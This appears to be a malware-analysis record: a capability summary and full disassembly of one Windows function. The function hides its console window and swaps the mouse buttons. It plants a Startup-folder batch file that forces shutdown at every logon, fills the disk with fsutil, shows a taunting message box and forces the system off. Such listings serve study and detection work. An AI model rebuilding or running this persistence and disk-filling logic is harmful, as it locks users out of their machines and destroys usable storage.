Function at 0x1400015c6
Capabilities:
Execute command
Hide graphical window
Query environment variable
Shutdown system
Swap mouse buttons

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
call dbg.__main
mov rax, rsp
mov rbx, rax
mov eax, 0x100
cdqe
sub rax, 1
mov qword [rbp - 8], rax
mov eax, 0x100
cdqe
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0
mov eax, 0x100
cdqe
mov rsi, rax
mov edi, 0
mov eax, 0x100
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002b00
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x10], rax
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp - 0x18], rax
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp - 0x20], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SwapMouseButton]
call rax
cmp qword [rbp - 0x18], 0
je 0x1400017f4
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.chdir
test eax, eax
jne 0x1400017f4
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.checkperms
test al, al
je 0x1400017f4
mov rax, rsp
mov rsi, rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.chdir
mov eax, 0x100
cdqe
sub rax, 1
mov qword [rbp - 0x28], rax
mov eax, 0x100
cdqe
mov r14, rax
mov r15d, 0
mov eax, 0x100
cdqe
mov r12, rax
mov r13d, 0
mov eax, 0x100
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002b00
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x30]
add rax, rdx
movabs rdx, 0x6f736f7263694d5c
movabs rcx, 0x6f646e69575c7466
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x74726174535c7377
movabs rcx, 0x72505c756e654d20
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
movabs rdx, 0x535c736d6172676f
movabs rcx, 0x745c707574726174
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
movabs rdi, 0x73706f7264726165
mov qword [rax + 0x30], rdi
mov dword [rax + 0x38], 0x7461622e
mov byte [rax + 0x3c], 0
mov rax, qword [rbp - 0x30]
lea rdx, [0x14000a018]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
lea rdx, str._echo_off_nshutdown__s__f__t_0
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov rsp, rsi
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.flame
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.chdir
call sym.freespace
test rax, rax
jne 0x14000181f
mov eax, 0x100
cdqe
jmp 0x140001824
call sym.freespace
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov r8, rdx
lea rdx, str.fsutil_file_createnew_lol__llu
mov rcx, rax
call sym.sprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.system
mov r9d, 1
lea r8, str.flame.c
lea rax, str._nWe_love_you._n_n:3_n_n
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov edx, 0
mov ecx, 5
mov rax, qword [sym.imp.USER32.dll_ExitWindowsEx]
call rax
mov rsp, rbx
lea rsp, [rbp + 8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret